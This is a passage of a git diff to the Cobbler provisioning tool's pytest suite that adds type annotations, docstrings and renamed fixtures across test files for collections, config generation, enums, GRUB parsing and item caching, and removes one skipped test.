+    create_profile(name)
     system1 = create_system(name)
     system1.interfaces = {
         "default": {
@@ -428,17 +428,18 @@ def test_add_to_indexes(
 
 def test_update_interfaces_indexes(
     cobbler_api: CobblerAPI,
-    create_distro: Callable[[str], distro.Distro],
+    create_distro: Callable[[], distro.Distro],
     create_profile: Callable[[str], profile.Profile],
     create_system: Callable[[str], system.System],
 ):
     """
-    TODO
+    Validate that the secondary indices on the system collection work as expected while updating a systems network
+    interface.
     """
     # Arrange
     name = "test_update_interfaces_indexes"
-    distro1 = create_distro()
-    profile1 = create_profile(name)
+    create_distro()
+    create_profile(name)
     system1 = create_system(name)
     system1.interfaces = {
         "test1": {
@@ -500,7 +501,7 @@ def test_update_interfaces_indexes(
     }
 
     # Cleanup
-    for indx_key, indx_val in system_collection.indexes.items():
+    for indx_key, _ in system_collection.indexes.items():
         if indx_key == "uid":
             continue
         system_collection.indexes[indx_key] = {}
@@ -508,17 +509,17 @@ def test_update_interfaces_indexes(
 
 def test_update_interface_indexes(
     cobbler_api: CobblerAPI,
-    create_distro: Callable[[str], distro.Distro],
+    create_distro: Callable[[], distro.Distro],
     create_profile: Callable[[str], profile.Profile],
     create_system: Callable[[str], system.System],
 ):
     """
-    TODO
+    Validate that the secondary indices on the system collection work as expected when updating a network interface.
     """
     # Arrange
     name = "test_update_interface_indexes"
-    distro1 = create_distro()
-    profile1 = create_profile(name)
+    create_distro()
+    create_profile(name)
     system1 = create_system(name)
     system1.interfaces = {
         "test1": {
@@ -561,7 +562,7 @@ def test_update_interface_indexes(
     }
 
     # Cleanup
-    for indx_key, indx_val in system_collection.indexes.items():
+    for indx_key, _ in system_collection.indexes.items():
         if indx_key == "uid":
             continue
         system_collection.indexes[indx_key] = {}
@@ -569,17 +570,17 @@ def test_update_interface_indexes(
 
 def test_update_system_indexes(
     cobbler_api: CobblerAPI,
-    create_distro: Callable[[str], distro.Distro],
+    create_distro: Callable[[], distro.Distro],
     create_profile: Callable[[str], profile.Profile],
     create_system: Callable[[str], system.System],
 ):
     """
-    TODO
+    Validate that the secondary indices on the system collection work as expected when updating a network interface.
     """
     # Arrange
     name = "test_update_system_indexes"
-    distro1 = create_distro()
-    profile1 = create_profile(name)
+    create_distro()
+    create_profile(name)
     system1 = create_system(name)
     system1.interfaces = {
         "test1": {
@@ -635,17 +636,17 @@ def test_update_system_indexes(
 
 def test_remove_from_indexes(
     cobbler_api: CobblerAPI,
-    create_distro: Callable[[str], distro.Distro],
+    create_distro: Callable[[], distro.Distro],
     create_profile: Callable[[str], profile.Profile],
     create_system: Callable[[str], system.System],
 ):
     """
-    TODO
+    Validate that the secondary indices on the system collection work as expected when removing a system.
     """
     # Arrange
     name = "test_remove_from_indexes"
-    distro1 = create_distro()
-    profile1 = create_profile(name)
+    create_distro()
+    create_profile(name)
     system1 = create_system(name)
     system1.interfaces = {
         "default": {
@@ -686,17 +687,17 @@ def test_remove_from_indexes(
 
 def test_find_by_indexes(
     cobbler_api: CobblerAPI,
-    create_distro: Callable[[str], distro.Distro],
+    create_distro: Callable[[], distro.Distro],
     create_profile: Callable[[str], profile.Profile],
     create_system: Callable[[str], system.System],
 ):
     """
-    TODO
+    Validate that the secondary indices on the system collection work as expected for finding items in a collection.
     """
     # Arrange
     name = "test_find_by_indexes"
-    distro1 = create_distro()
-    profile1 = create_profile(name)
+    create_distro()
+    create_profile(name)
     system1 = create_system(name)
     system1.interfaces = {
         "default": {
@@ -735,7 +736,7 @@ def test_find_by_indexes(
             {"fake_index": system1.interfaces["default"].mac_address},
         ],
     }
-    results = {}
+    results: Dict[str, Any] = {}
 
     # Act
     for indx, args in kargs.items():
@@ -753,22 +754,3 @@ def test_find_by_indexes(
         assert len((kargs[indx])[1]) == 0
         assert result[2] is None
         assert len((kargs[indx])[2]) == 1
-
-
-@pytest.mark.skip("Method which is under test is broken!")
-def test_to_string(cobbler_api: CobblerAPI, system_collection: systems.Systems):
-    """
-    TODO
-    """
-    # Arrange
-    name = "to_string"
-    item1 = system.System(cobbler_api)
-    item1.name = name
-    system_collection.add(item1)
-
-    # Act
-    result = system_collection.to_string()
-
-    # Assert
-    print(result)
-    assert False
diff --git a/tests/configgen_test.py b/tests/configgen_test.py
index 8f4b91ed0d..be6d68e673 100644
--- a/tests/configgen_test.py
+++ b/tests/configgen_test.py
@@ -1,7 +1,13 @@
+"""
+Tests that validate the functionality of the module that is responsible for generating configuration data.
+"""
+
 import os
+from typing import Any, Callable, Generator
 
 import pytest
 
+from cobbler.api import CobblerAPI
 from cobbler.configgen import ConfigGen
 from cobbler.items.distro import Distro
 from cobbler.items.profile import Profile
@@ -10,9 +16,13 @@
 # TODO: If the action items of the configgen class are done then the tests need to test the robustness of the class.
 
 
-@pytest.fixture
-def create_testbed(create_kernel_initrd, cobbler_api, cleanup_testbed):
-    def _create_testbed():
+@pytest.fixture(name="create_testbed")
+def fixture_create_testbed(
+    create_kernel_initrd: Callable[[str, str], str],
+    cobbler_api: CobblerAPI,
+    cleanup_testbed: Any,
+):
+    def _create_testbed() -> CobblerAPI:
         folder = create_kernel_initrd("vmlinux", "initrd.img")
         test_distro = Distro(cobbler_api)
         test_distro.name = "test_configgen_distro"
@@ -35,15 +45,15 @@ def _create_testbed():
     return _create_testbed
 
 
-@pytest.fixture(autouse=True)
-def cleanup_testbed(cobbler_api):
+@pytest.fixture(name="cleanup_testbed", autouse=True)
+def fixture_cleanup_testbed(cobbler_api: CobblerAPI) -> Generator[None, Any, None]:
     yield
     cobbler_api.remove_system("test_configgen_system")
     cobbler_api.remove_profile("test_configgen_profile")
     cobbler_api.remove_distro("test_configgen_distro")
 
 
-def test_object_value_error(cobbler_api):
+def test_object_value_error(cobbler_api: CobblerAPI):
     # Arrange
 
     # Act & Assert
@@ -51,7 +61,7 @@ def test_object_value_error(cobbler_api):
         ConfigGen(cobbler_api, "nonexistant")
 
 
-def test_object_creation(create_testbed):
+def test_object_creation(create_testbed: Callable[[], CobblerAPI]):
     # Arrange
     test_api = create_testbed()
     # FIXME: Arrange distro, profile and system
@@ -63,7 +73,7 @@ def test_object_creation(create_testbed):
     assert isinstance(test_configgen, ConfigGen)
 
 
-def test_resolve_resource_var(create_testbed):
+def test_resolve_resource_var(create_testbed: Callable[[], CobblerAPI]):
     # Arrange
     test_api = create_testbed()
     # FIXME: Arrange distro, profile and system
@@ -77,7 +87,7 @@ def test_resolve_resource_var(create_testbed):
     assert result == "Hello teststring !"
 
 
-def test_get_cobbler_resource(create_testbed):
+def test_get_cobbler_resource(create_testbed: Callable[[], CobblerAPI]):
     # Arrange
     test_api = create_testbed()
     # FIXME: Arrange distro, profile and system
@@ -90,7 +100,7 @@ def test_get_cobbler_resource(create_testbed):
     assert isinstance(result, (list, str, dict))
 
 
-def test_get_config_data(create_testbed):
+def test_get_config_data(create_testbed: Callable[[], CobblerAPI]):
     # Arrange
     test_api = create_testbed()
     # FIXME: Arrange distro, profile and system
@@ -103,7 +113,7 @@ def test_get_config_data(create_testbed):
     assert isinstance(result, dict)
 
 
-def test_get_config_data_for_koan(create_testbed):
+def test_get_config_data_for_koan(create_testbed: Callable[[], CobblerAPI]):
     # Arrange
     test_api = create_testbed()
     # FIXME: Arrange distro, profile and system
diff --git a/tests/conftest.py b/tests/conftest.py
index 36ba6b1964..bb3d35e3ac 100644
--- a/tests/conftest.py
+++ b/tests/conftest.py
@@ -117,7 +117,7 @@ def _create_distro(name: str = "") -> Distro:
         test_distro.name = (
             request.node.originalname  # type: ignore
             if request.node.originalname  # type: ignore
-            else request.node.name
+            else request.node.name  # type: ignore
         )
         if name != "":
             test_distro.name = name
@@ -143,7 +143,7 @@ def _create_profile(
         test_profile.name = (
             request.node.originalname  # type: ignore
             if request.node.originalname  # type: ignore
-            else request.node.name
+            else request.node.name  # type: ignore
         )
         if name != "":
             test_profile.name = name
@@ -169,7 +169,7 @@ def _create_image(name: str = "") -> Image:
         test_image.name = (
             request.node.originalname  # type: ignore
             if request.node.originalname  # type: ignore
-            else request.node.name
+            else request.node.name  # type: ignore
         )
         if name != "":
             test_image.name = name
@@ -194,7 +194,7 @@ def _create_system(
             test_system.name = (
                 request.node.originalname  # type: ignore
                 if request.node.originalname  # type: ignore
-                else request.node.name
+                else request.node.name  # type: ignore
             )
         else:
             test_system.name = name
@@ -203,7 +203,7 @@ def _create_system(
         if image_name != "":
             test_system.image = image_name
         test_system.interfaces = {
-            "default": NetworkInterface(cobbler_api, test_system.name)
+            "default": NetworkInterface(cobbler_api, test_system.name)  # type: ignore
         }
         cobbler_api.add_system(test_system)
         return test_system
@@ -225,7 +225,7 @@ def _create_menu(name: str = "", display_name: str = "") -> Menu:
             test_menu.name = (
                 request.node.originalname  # type: ignore
                 if request.node.originalname  # type: ignore
-                else request.node.name
+                else request.node.name  # type: ignore
             )
 
         test_menu.display_name = display_name
diff --git a/tests/enums_test.py b/tests/enums_test.py
index 8c38c24d8e..40c8250dfa 100644
--- a/tests/enums_test.py
+++ b/tests/enums_test.py
@@ -1,3 +1,10 @@
+"""
+Tests that validate the functionality of the module that is responsible for defining constants and parsing them from
+given data.
+"""
+
+from typing import Any, Union
+
 import pytest
 
 from cobbler import enums
@@ -14,12 +21,14 @@
         (0, pytest.raises(TypeError)),
     ],
 )
-def test_validate_arch(test_architecture, test_raise):
+def test_validate_arch(
+    test_architecture: Union[enums.Archs, str, int], test_raise: Any
+):
     # Arrange
 
     # Act
     with test_raise:
-        result = enums.Archs.to_enum(test_architecture)
+        result = enums.Archs.to_enum(test_architecture)  # type: ignore
 
         # Assert
         if isinstance(test_architecture, str):
@@ -40,12 +49,12 @@ def test_validate_arch(test_architecture, test_raise):
         (0, pytest.raises(TypeError)),
     ],
 )
-def test_set_virt_type(value, expected_exception):
+def test_set_virt_type(value: Union[enums.VirtType, str, int], expected_exception: Any):
     # Arrange
 
     # Act
     with expected_exception:
-        result = enums.VirtType.to_enum(value)
+        result = enums.VirtType.to_enum(value)  # type: ignore
 
         # Assert
         if isinstance(value, str):
@@ -65,12 +74,14 @@ def test_set_virt_type(value, expected_exception):
         (0, pytest.raises(TypeError)),
     ],
 )
-def test_validate_ldap_tls_reqcert(value, expected_exception):
+def test_validate_ldap_tls_reqcert(
+    value: Union[enums.TlsRequireCert, str, int], expected_exception: Any
+):
     # Arrange
 
     # Act
     with expected_exception:
-        result = enums.TlsRequireCert.to_enum(value)
+        result = enums.TlsRequireCert.to_enum(value)  # type: ignore
 
         # Assert
         if isinstance(value, str):
@@ -93,12 +104,14 @@ def test_validate_ldap_tls_reqcert(value, expected_exception):
         (0, pytest.raises(TypeError)),
     ],
 )
-def test_set_virt_disk_driver(test_driver, test_raise):
+def test_set_virt_disk_driver(
+    test_driver: Union[enums.VirtDiskDrivers, str, int], test_raise: Any
+):
     # Arrange
 
     # Act
     with test_raise:
-        result = enums.VirtDiskDrivers.to_enum(test_driver)
+        result = enums.VirtDiskDrivers.to_enum(test_driver)  # type: ignore
 
         # Assert
         if isinstance(test_driver, str):
diff --git a/tests/grub_test.py b/tests/grub_test.py
index 207566a1bf..54d9c43c37 100644
--- a/tests/grub_test.py
+++ b/tests/grub_test.py
@@ -1,3 +1,9 @@
+"""
+Tests that validate the functionality of the module that is responsible for GRUB functionality.
+"""
+
+from typing import Any, Optional
+
 import pytest
 
 from cobbler import grub
@@ -23,7 +29,7 @@
     ],
 )
 def test_parse_grub_remote_file(
-    input_file_location, expected_output, expected_exception
+    input_file_location: str, expected_output: Optional[str], expected_exception: Any
 ):
     # Arrange & Act
     with expected_exception:
diff --git a/tests/items/base_item_test.py b/tests/items/base_item_test.py
index fe1025dd66..2d6bf54132 100644
--- a/tests/items/base_item_test.py
+++ b/tests/items/base_item_test.py
@@ -1,3 +1,7 @@
+"""
+Tests that validate the functionality of the module that is responsible for providing basic item functionality.
+"""
+
 import copy
 from typing import Any, List, Optional
 
@@ -5,7 +9,6 @@
 
 from cobbler import enums
 from cobbler.api import CobblerAPI
-from cobbler.cobbler_collections.collection import ITEM
 from cobbler.items.abstract.base_item import BaseItem
 
 from tests.conftest import does_not_raise
@@ -21,7 +24,7 @@ def __init__(self, api: "CobblerAPI", *args: Any, **kwargs: Any):
         if not self._has_initialized:
             self._has_initialized = True
 
-    def make_clone(self) -> ITEM:
+    def make_clone(self) -> BaseItem:
         _dict = copy.deepcopy(self.to_dict())
         # Drop attributes which are computed from other attributes
         computed_properties = ["uid"]
diff --git a/tests/items/cache_test.py b/tests/items/cache_test.py
index 6acb05c44c..549a357777 100644
--- a/tests/items/cache_test.py
+++ b/tests/items/cache_test.py
@@ -1,16 +1,28 @@
+"""
+Tests that validate the functionality of the module that is responsible for caching the results of the to_dict method.
+"""
+
+from typing import Any, Callable, List, Sequence
+
 import pytest
 
+from cobbler.api import CobblerAPI
 from cobbler.cexceptions import CX
+from cobbler.items.abstract.base_item import BaseItem
+from cobbler.items.distro import Distro
+from cobbler.items.image import Image
 from cobbler.items.item import Item
 from cobbler.items.menu import Menu
+from cobbler.items.profile import Profile
 from cobbler.items.repo import Repo
+from cobbler.items.system import System
 
 from tests.conftest import does_not_raise
 
 
-def test_collection_types(cobbler_api):
+def test_collection_types(cobbler_api: CobblerAPI):
     # Arrange
-    mgr = cobbler_api._collection_mgr
+    mgr = cobbler_api._collection_mgr  # type: ignore[reportPrivateUsage]
 
     # Act
     result = mgr.__dict__.items()
@@ -28,7 +40,10 @@ def test_collection_types(cobbler_api):
     ],
 )
 def test_repo_dict_cache_load(
-    cobbler_api, input_value, expected_exception, expected_output
+    cobbler_api: CobblerAPI,
+    input_value: bool,
+    expected_exception: Any,
+    expected_output: bool,
 ):
     # Arrange
     cobbler_api.settings().cache_enabled = input_value
@@ -56,7 +71,11 @@ def test_repo_dict_cache_load(
     ],
 )
 def test_distro_dict_cache_load(
-    cobbler_api, create_distro, input_value, expected_exception, expected_output
+    cobbler_api: CobblerAPI,
+    create_distro: Callable[[], Distro],
+    input_value: bool,
+    expected_exception: Any,
+    expected_output: str,
 ):
     # Arrange
     cobbler_api.settings().cache_enabled = input_value
@@ -82,7 +101,11 @@ def test_distro_dict_cache_load(
     ],
 )
 def test_image_dict_cache_load(
-    cobbler_api, create_image, input_value, expected_exception, expected_output
+    cobbler_api: CobblerAPI,
+    create_image: Callable[[], Image],
+    input_value: bool,
+    expected_exception: Any,
+    expected_output: bool,
 ):
     # Arrange
     cobbler_api.settings().cache_enabled = input_value
@@ -108,7 +131,10 @@ def test_image_dict_cache_load(
     ],
 )
 def test_menu_dict_cache_load(
-    cobbler_api, input_value, expected_exception, expected_output
+    cobbler_api: CobblerAPI,
+    input_value: bool,
+    expected_exception: Any,
+    expected_output: bool,
 ):
     # Arrange
     cobbler_api.settings().cache_enabled = input_value
@@ -136,12 +162,12 @@ def test_menu_dict_cache_load(
     ],
 )
 def test_profile_dict_cache_load(
-    cobbler_api,
-    create_distro,
-    create_profile,
-    input_value,
-    expected_exception,
-    expected_output,
+    cobbler_api: CobblerAPI,
+    create_distro: Callable[[], Distro],
+    create_profile: Callable[[str], Profile],
+    input_value: bool,
+    expected_exception: Any,
+    expected_output: bool,
 ):
     # Arrange
     cobbler_api.settings().cache_enabled = input_value
@@ -170,13 +196,13 @@ def test_profile_dict_cache_load(
     ],
 )
 def test_system_dict_cache_load(
-    cobbler_api,
-    create_distro,
-    create_profile,
-    create_system,
-    input_value,
-    expected_exception,
-    expected_output,
+    cobbler_api: CobblerAPI,
+    create_distro: Callable[[], Distro],
+    create_profile: Callable[[str], Profile],
+    create_system: Any,
+    input_value: bool,
+    expected_exception: Any,
+    expected_output: bool,
 ):
     # Arrange
     cobbler_api.settings().cache_enabled = input_value
@@ -184,7 +210,7 @@ def test_system_dict_cache_load(
     test_distro.kernel_options = {"test": True}
     test_profile = create_profile(test_distro.name)
     test_profile.kernel_options = {"my_value": 5}
-    test_system = create_system(profile_name=test_profile.name)
+    test_system: System = create_system(profile_name=test_profile.name)
 
     # Act
     with expected_exception:
@@ -206,7 +232,10 @@ def test_system_dict_cache_load(
     ],
 )
 def test_repo_dict_cache_use(
-    cobbler_api, input_value, expected_exception, expected_output
+    cobbler_api: CobblerAPI,
+    input_value: bool,
+    expected_exception: Any,
+    expected_output: bool,
 ):
     # Arrange
     cobbler_api.settings().cache_enabled = input_value
@@ -220,8 +249,8 @@ def test_repo_dict_cache_use(
 
     # Act
     with expected_exception:
-        test_repo.cache.set_dict_cache(test_cache1, True)
-        test_repo.cache.set_dict_cache(test_cache2, False)
+        test_repo.cache.set_dict_cache(test_cache1, True)  # type: ignore
+        test_repo.cache.set_dict_cache(test_cache2, False)  # type: ignore
         result1 = test_repo.cache.get_dict_cache(True)
         result2 = test_repo.cache.get_dict_cache(False)
 
@@ -238,7 +267,11 @@ def test_repo_dict_cache_use(
     ],
 )
 def test_distro_dict_cache_use(
-    cobbler_api, create_distro, input_value, expected_exception, expected_output
+    cobbler_api: CobblerAPI,
+    create_distro: Callable[[], Distro],
+    input_value: bool,
+    expected_exception: Any,
+    expected_output: bool,
 ):
     # Arrange
     cobbler_api.settings().cache_enabled = input_value
@@ -250,8 +283,8 @@ def test_distro_dict_cache_use(
 
     # Act
     with expected_exception:
-        test_distro.cache.set_dict_cache(test_cache1, True)
-        test_distro.cache.set_dict_cache(test_cache2, False)
+        test_distro.cache.set_dict_cache(test_cache1, True)  # type: ignore
+        test_distro.cache.set_dict_cache(test_cache2, False)  # type: ignore
         result1 = test_distro.cache.get_dict_cache(True)
         result2 = test_distro.cache.get_dict_cache(False)
 
@@ -268,7 +301,11 @@ def test_distro_dict_cache_use(
     ],
 )
 def test_image_dict_cache_use(
-    cobbler_api, create_image, input_value, expected_exception, expected_output
+    cobbler_api: CobblerAPI,
+    create_image: Callable[[], Image],
+    input_value: bool,
+    expected_exception: Any,
+    expected_output: bool,
 ):
     # Arrange
     cobbler_api.settings().cache_enabled = input_value
@@ -280,8 +317,8 @@ def test_image_dict_cache_use(
 
     # Act
     with expected_exception:
-        test_image.cache.set_dict_cache(test_cache1, True)
-        test_image.cache.set_dict_cache(test_cache2, False)
+        test_image.cache.set_dict_cache(test_cache1, True)  # type: ignore
+        test_image.cache.set_dict_cache(test_cache2, False)  # type: ignore
         result1 = test_image.cache.get_dict_cache(True)
         result2 = test_image.cache.get_dict_cache(False)
 
@@ -298,7 +335,10 @@ def test_image_dict_cache_use(
     ],
 )
 def test_menu_dict_cache_use(
-    cobbler_api, input_value, expected_exception, expected_output
+    cobbler_api: CobblerAPI,
+    input_value: bool,
+    expected_exception: Any,
+    expected_output: bool,
 ):
     # Arrange
     cobbler_api.settings().cache_enabled = input_value
@@ -312,8 +352,8 @@ def test_menu_dict_cache_use(
 
     # Act
     with expected_exception:
-        test_menu.cache.set_dict_cache(test_cache1, True)
-        test_menu.cache.set_dict_cache(test_cache2, False)
+        test_menu.cache.set_dict_cache(test_cache1, True)  # type: ignore
+        test_menu.cache.set_dict_cache(test_cache2, False)  # type: ignore
         result1 = test_menu.cache.get_dict_cache(True)
         result2 = test_menu.cache.get_dict_cache(False)
 
@@ -330,12 +370,12 @@ def test_menu_dict_cache_use(
     ],
 )
 def test_profile_dict_cache_use(
-    cobbler_api,
-    create_distro,
-    create_profile,
-    input_value,
-    expected_exception,
-    expected_output,
+    cobbler_api: CobblerAPI,
+    create_distro: Callable[[], Distro],
+    create_profile: Callable[[str], Profile],
+    input_value: bool,
+    expected_exception: Any,
+    expected_output: bool,
 ):
     # Arrange
     cobbler_api.settings().cache_enabled = input_value
@@ -368,21 +408,21 @@ def test_profile_dict_cache_use(
     ],
 )
 def test_system_dict_cache_use(
-    cobbler_api,
-    create_distro,
-    create_profile,
-    create_system,
-    input_value,
-    expected_exception,
-    expected_output,
+    cobbler_api: CobblerAPI,
+    create_distro: Callable[[], Distro],
+    create_profile: Any,
+    create_system: Any,
+    input_value: bool,
+    expected_exception: Any,
+    expected_output: bool,
 ):
     # Arrange
     cobbler_api.settings().cache_enabled = input_value
     test_distro = create_distro()
     test_distro.kernel_options = {"test": True}
-    test_profile = create_profile(test_distro.name)
+    test_profile: Profile = create_profile(test_distro.name)
     test_profile.kernel_options = {"my_value": 5}
-    test_system = create_system(profile_name=test_profile.name)
+    test_system: System = create_system(profile_name=test_profile.name)
     test_system.to_dict(resolved=True)
     test_system.to_dict(resolved=False)
     test_cache1 = {"test": True}
@@ -408,16 +448,21 @@ def test_system_dict_cache_use(
     ],
 )
 def test_dict_cache_invalidate(
-    cobbler_api,
-    create_distro,
-    create_image,
-    create_profile,
-    create_system,
-    cache_enabled,
-    expected_exception,
-    expected_output,
+    cobbler_api: CobblerAPI,
+    create_distro: Callable[[], Distro],
+    create_image: Callable[[], Image],
+    create_profile: Any,
+    create_system: Any,
+    cache_enabled: bool,
+    expected_exception: Any,
+    expected_output: bool,
 ):
-    def validate_caches(test_api, objs, obj_test, dep):
+    def validate_caches(
+        test_api: CobblerAPI,
+        objs: List[BaseItem],
+        obj_test: BaseItem,
+        dep: Sequence[BaseItem],
+    ):
         for obj in objs:
             obj.to_dict(resolved=False)
             obj.to_dict(resolved=True)
@@ -431,7 +476,7 @@ def validate_caches(test_api, objs, obj_test, dep):
             ):
                 return False
         elif obj_test == test_api.settings():
-            test_api.clean_items_cache(obj_test)
+            test_api.clean_items_cache(obj_test)  # type: ignore
         elif obj_test == test_api.get_signatures():
             test_api.signature_update()
         for obj in dep:
@@ -448,7 +493,7 @@ def validate_caches(test_api, objs, obj_test, dep):
 
     # Arrange
     cobbler_api.settings().cache_enabled = cache_enabled
-    objs = []
+    objs: List[BaseItem] = []
     test_repo = Repo(cobbler_api)
     test_repo.name = "test_repo"
     cobbler_api.add_repo(test_repo)
@@ -465,16 +510,18 @@ def validate_caches(test_api, objs, obj_test, dep):
     test_distro = create_distro()
     test_distro.source_repos = [test_repo.name]
     objs.append(test_distro)
-    test_profile1 = create_profile(distro_name=test_distro.name, name="test_profile1")
+    test_profile1: Profile = create_profile(
+        distro_name=test_distro.name, name="test_profile1"
+    )
     test_profile1.enable_menu = False
     objs.append(test_profile1)
-    test_profile2 = create_profile(
+    test_profile2: Profile = create_profile(
         profile_name=test_profile1.name, name="test_profile2"
     )
     test_profile2.enable_menu = False
     test_profile2.menu = test_menu2.name
     objs.append(test_profile2)
-    test_profile3 = create_profile(
+    test_profile3: Profile = create_profile(
         profile_name=test_profile1.name, name="test_profile3"
     )
     test_profile3.enable_menu = False
@@ -539,12 +586,12 @@ def validate_caches(test_api, objs, obj_test, dep):
     )
 
     assert (
-        validate_caches(cobbler_api, objs, cobbler_api.settings(), settings_dep)
+        validate_caches(cobbler_api, objs, cobbler_api.settings(), settings_dep)  # type: ignore
         == expected_output
     )
     assert (
-        validate_caches(cobbler_api, objs, cobbler_api.get_signatures(), signatures_dep)
+        validate_caches(cobbler_api, objs, cobbler_api.get_signatures(), signatures_dep)  # type: ignore
         == expected_output
     )
     with expected_exception:
-        cobbler_api.clean_items_cache(True)
+        cobbler_api.clean_items_cache(True)  # type: ignore
diff --git a/tests/items/distro_test.py b/tests/items/distro_test.py
index 6a018c87a1..a4a6b76fa8 100644
--- a/tests/items/distro_test.py
+++ b/tests/items/distro_test.py
@@ -4,20 +4,24 @@
 
 import os
 import pathlib
-from typing import Any, Callable
+from typing import TYPE_CHECKING, Any, Callable
 
 import pytest
 
 from cobbler import enums
 from cobbler.api import CobblerAPI
 from cobbler.items.distro import Distro
+from cobbler.settings import Settings
 from cobbler.utils import signatures
 
 from tests.conftest import does_not_raise
 
+if TYPE_CHECKING:
+    from pytest_mock import MockerFixture
 
-@pytest.fixture()
-def test_settings(mocker, cobbler_api: CobblerAPI):
+
+@pytest.fixture(name="test_settings")
+def fixture_test_settings(mocker: "MockerFixture", cobbler_api: CobblerAPI) -> Settings:
     settings = mocker.MagicMock(name="distro_setting_mock", spec=cobbler_api.settings())
     orig = cobbler_api.settings()
     for key in orig.to_dict():
@@ -558,7 +562,9 @@ def test_find_distro_path(
     assert result == tmp_path.as_posix()
 
 
-def test_inheritance(mocker, cobbler_api: CobblerAPI, test_settings):
+def test_inheritance(
+    mocker: "MockerFixture", cobbler_api: CobblerAPI, test_settings: Settings
+):
     """
     Checking that inherited properties are correctly inherited from settings and
     that the <<inherit>> value can be set for them.
diff --git a/tests/items/image_test.py b/tests/items/image_test.py
index d63c214922..79ed246789 100644
--- a/tests/items/image_test.py
+++ b/tests/items/image_test.py
@@ -1,17 +1,25 @@
-from typing import Callable
+"""
+Tests that validate the functionality of the module that is responsible for providing image related functionality.
+"""
+
+from typing import TYPE_CHECKING, Any, Callable
 
 import pytest
 
 from cobbler import enums
 from cobbler.api import CobblerAPI
 from cobbler.items.image import Image
+from cobbler.settings import Settings
 from cobbler.utils import signatures
 
 from tests.conftest import does_not_raise
 
+if TYPE_CHECKING:
+    from pytest_mock import MockerFixture
+
 
-@pytest.fixture()
-def test_settings(mocker, cobbler_api: CobblerAPI):
+@pytest.fixture(name="test_settings")
+def fixture_test_settings(mocker: "MockerFixture", cobbler_api: CobblerAPI) -> Settings:
     settings = mocker.MagicMock(name="image_setting_mock", spec=cobbler_api.settings())
     orig = cobbler_api.settings()
     for key in orig.to_dict():
@@ -151,7 +159,10 @@ def test_virt_auto_boot(cobbler_api: CobblerAPI):
     ],
 )
 def test_virt_file_size(
-    cobbler_api: CobblerAPI, input_virt_file_size, expected_exception, expected_result
+    cobbler_api: CobblerAPI,
+    input_virt_file_size: Any,
+    expected_exception: Any,
+    expected_result: float,
 ):
     # Arrange
     image = Image(cobbler_api)
@@ -285,7 +296,9 @@ def test_to_dict_resolved(create_image: Callable[[], Image]):
     assert enums.VALUE_INHERITED not in str(result)
 
 
-def test_inheritance(mocker, cobbler_api: CobblerAPI, test_settings):
+def test_inheritance(
+    mocker: "MockerFixture", cobbler_api: CobblerAPI, test_settings: Settings
+):
     """
     Checking that inherited properties are correctly inherited from settings and
     that the <<inherit>> value can be set for them.
diff --git a/tests/items/inmemory_test.py b/tests/items/inmemory_test.py
index 517cef4fe9..58ec242f12 100644
--- a/tests/items/inmemory_test.py
+++ b/tests/items/inmemory_test.py
@@ -1,5 +1,5 @@
 """
-TODO
+Tests that validate the functionality of the module that is responsible for lazy loading items.
 """
 
 import os
@@ -21,15 +21,15 @@
 @pytest.fixture(scope="function")
 def inmemory_api() -> CobblerAPI:
     """
-    TODO
+    Fixture to provide an CobblerAPI object that is suitable for testing lazy loading items.
     """
-    CobblerAPI.__shared_state = {}
-    CobblerAPI.__has_loaded = False
+    CobblerAPI.__shared_state = {}  # type: ignore[reportPrivateUsage]
+    CobblerAPI.__has_loaded = False  # type: ignore[reportPrivateUsage]
     api = CobblerAPI()
     api.settings().lazy_start = True
     manager.CollectionManager.has_loaded = False
-    manager.CollectionManager.__shared_state = {}
-    api._collection_mgr = manager.CollectionManager(api)
+    manager.CollectionManager.__shared_state = {}  # type: ignore[reportPrivateUsage]
+    api._collection_mgr = manager.CollectionManager(api)  # type: ignore[reportPrivateUsage]
     return api
 
 
@@ -40,7 +40,7 @@ def test_inmemory(
     fk_kernel: str,
 ):
     """
-    TODO
+    Test that verifies that lazy loading of items works.
     """
     # Arrange
     test_repo = Repo(inmemory_api, **{"name": "test_repo", "comment": "test comment"})
@@ -138,16 +138,16 @@ def test_inmemory(
 
     inmemory_api.deserialize()
 
-    test_repo = inmemory_api.find_repo("test_repo")
-    test_menu1 = inmemory_api.find_menu("test_menu1")
-    test_menu2 = inmemory_api.find_menu("test_menu2")
-    test_distro = inmemory_api.find_distro("test_distro")
-    test_profile1 = inmemory_api.find_profile("test_profile1")
-    test_profile2 = inmemory_api.find_profile("test_profile2")
-    test_profile3 = inmemory_api.find_profile("test_profile3")
-    test_image = inmemory_api.find_image("test_image")
-    test_system1 = inmemory_api.find_system("test_system1")
-    test_system2 = inmemory_api.find_system("test_system2")
+    test_repo: Repo = inmemory_api.find_repo("test_repo")  # type: ignore[reportAssignmentType]
+    test_menu1: Menu = inmemory_api.find_menu("test_menu1")  # type: ignore[reportAssignmentType]
+    test_menu2: Menu = inmemory_api.find_menu("test_menu2")  # type: ignore[reportAssignmentType]
+    test_distro: Distro = inmemory_api.find_distro("test_distro")  # type: ignore[reportAssignmentType]
+    test_profile1: Profile = inmemory_api.find_profile("test_profile1")  # type: ignore[reportAssignmentType]
+    test_profile2: Profile = inmemory_api.find_profile("test_profile2")  # type: ignore[reportAssignmentType]
+    test_profile3: Profile = inmemory_api.find_profile("test_profile3")  # type: ignore[reportAssignmentType]
+    test_image: Image = inmemory_api.find_image("test_image")  # type: ignore[reportAssignmentType]
+    test_system1: System = inmemory_api.find_system("test_system1")  # type: ignore[reportAssignmentType]
+    test_system2: System = inmemory_api.find_system("test_system2")  # type: ignore[reportAssignmentType]
 
     # Act
     result = True
@@ -163,7 +163,7 @@ def test_inmemory(
             result = obj.inmemory is False if result else result
             result = obj.__dict__["_comment"] == "" if result else result
 
-    comment = test_system1.comment if result else result
+    comment = test_system1.comment if result else result  # type: ignore[reportUnusedVariable]
     result = test_repo.inmemory if result else result
     result = test_menu1.inmemory if result else result
     result = not test_menu2.inmemory if result else result
diff --git a/tests/items/item_test.py b/tests/items/item_test.py
index 1377aab1dc..d25796a895 100644
--- a/tests/items/item_test.py
+++ b/tests/items/item_test.py
@@ -1,8 +1,9 @@
 """
 Test module that asserts that generic Cobbler Item functionality is working as expected.
 """
+
 import os
-from typing import Any, Callable, Dict, Optional
+from typing import TYPE_CHECKING, Any, Callable, Dict, Optional
 
 import pytest
 
@@ -15,12 +16,16 @@
 from cobbler.items.profile import Profile
 from cobbler.items.repo import Repo
 from cobbler.items.system import System
+from cobbler.settings import Settings
 
 from tests.conftest import does_not_raise
 
+if TYPE_CHECKING:
+    from pytest_mock import MockerFixture
